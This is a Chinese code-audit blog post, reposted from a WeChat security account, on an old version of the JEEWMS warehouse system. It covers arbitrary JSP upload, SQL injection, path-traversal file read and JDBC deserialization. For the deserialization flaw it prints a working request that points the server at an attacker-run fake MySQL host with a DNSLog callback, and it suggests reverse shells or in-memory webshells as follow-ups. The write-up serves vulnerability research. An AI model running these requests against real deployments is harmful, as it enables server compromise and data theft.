『代码审计』JEEWMS代码审计

admin 2025年4月14日19:24:20评论16 views字数 1564阅读5分12秒阅读模式

点击蓝字

关注我们

日期:2025/04/14

作者:Corl7

介绍:老版JEEWMS代码审计。

0x00 前言

JEEWMS是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。该系统使用SpringMVC框架,Mysql数据库,本次审计是对老版本的JEEWMS系统进行审计。

『代码审计』JEEWMS代码审计

0x01 文件上传

查看该代码,主要是获取应用程序的根目录路径并拼接文件名作为上传路径,然后调用new File进行文件上传。

『代码审计』JEEWMS代码审计

构造数据包,进行文件上传,响应操作成功。

『代码审计』JEEWMS代码审计

成功访问上传后的aaa.jsp

『代码审计』JEEWMS代码审计

0x02 JDBC反序列化

这段代码的主要功能是测试数据库连接是否成功,从dbSource中获取DriverClassUrlDbUserDbPassword的值,然后进行创建数据库连接,并且这些参数可以从前端获取。

『代码审计』JEEWMS代码审计

pom.xml中引入的mysql版本为5.1.27,该版本是存在JDBC反序列化的。

『代码审计』JEEWMS代码审计

使用fake-mysql-cli-0.0.4工具在服务器中起一个服务。

java -jar fake-mysql-cli-0.0.4.jar -p 8787
『代码审计』JEEWMS代码审计

使用burp进行发包,显示数据库连接失败,但是这没有关系。

/jeewms/dynamicDataSourceController.do?testConnection&driverClass=com.mysql.jdbc.Driver&url=jdbc:mysql://x.x.x.x:8787/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&dbUser=deser_URLDNS_http://7x8gp9.dnslog.cn
『代码审计』JEEWMS代码审计

DNSLog成功收到请求。

『代码审计』JEEWMS代码审计

0x03 SQL注入

SQL注入该系统存在很多,本次只针对其中一个进行审计。查看该接口,发现configId参数值从前端获取,并且传入cgReportService.queryCgReportConfig方法。

『代码审计』JEEWMS代码审计

查看queryCgReportConfig实现方法,在queryCgReportConfig方法中又调用了queryCgReportMainConfig方法,并且把reportId传给了该方法,在queryCgReportMainConfig方法中又调用了cgReportDao.queryCgReportMainConfig方法。

『代码审计』JEEWMS代码审计

该方法的SQL语句中使用$拼接了configId的值,造成了SQL注入。

『代码审计』JEEWMS代码审计

构造数据包。

『代码审计』JEEWMS代码审计

使用SQLmap成功跑出注入。

『代码审计』JEEWMS代码审计

0x04 任意文件读取

该代码接收downdbPath参数的值,判断flag的值是否等于1。如果等于1,则表示请求是下载文件并对文件名进行url编码,否则,表示请求是显示图片。读取路径首先从配置文件中获取webUploadpath的值,然后再拼接dbPath的值,再进行读取。

『代码审计』JEEWMS代码审计

全局搜索webUploadpath,发现在sysConfig.properties中定义了该值,在Cupfiles目录下。

『代码审计』JEEWMS代码审计

C盘根目录创建test.txt,内容为test。构造数据包,使用两个../,成功读取test.txt

『代码审计』JEEWMS代码审计

down等于1时,会对文件名进行URL编码。

『代码审计』JEEWMS代码审计

0x05 总结

JEEWMS系统存在不少类型的漏洞,但是本篇文章并未涉及到该系统的全部漏洞。但其中的JDBC反序列化漏洞不是很常见,除了ping dnslog外,还可以尝试反弹shell、打内存马等。

『代码审计』JEEWMS代码审计

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』JEEWMS代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月14日19:24:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』JEEWMS代码审计http://cn-sec.com/archives/3954694.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息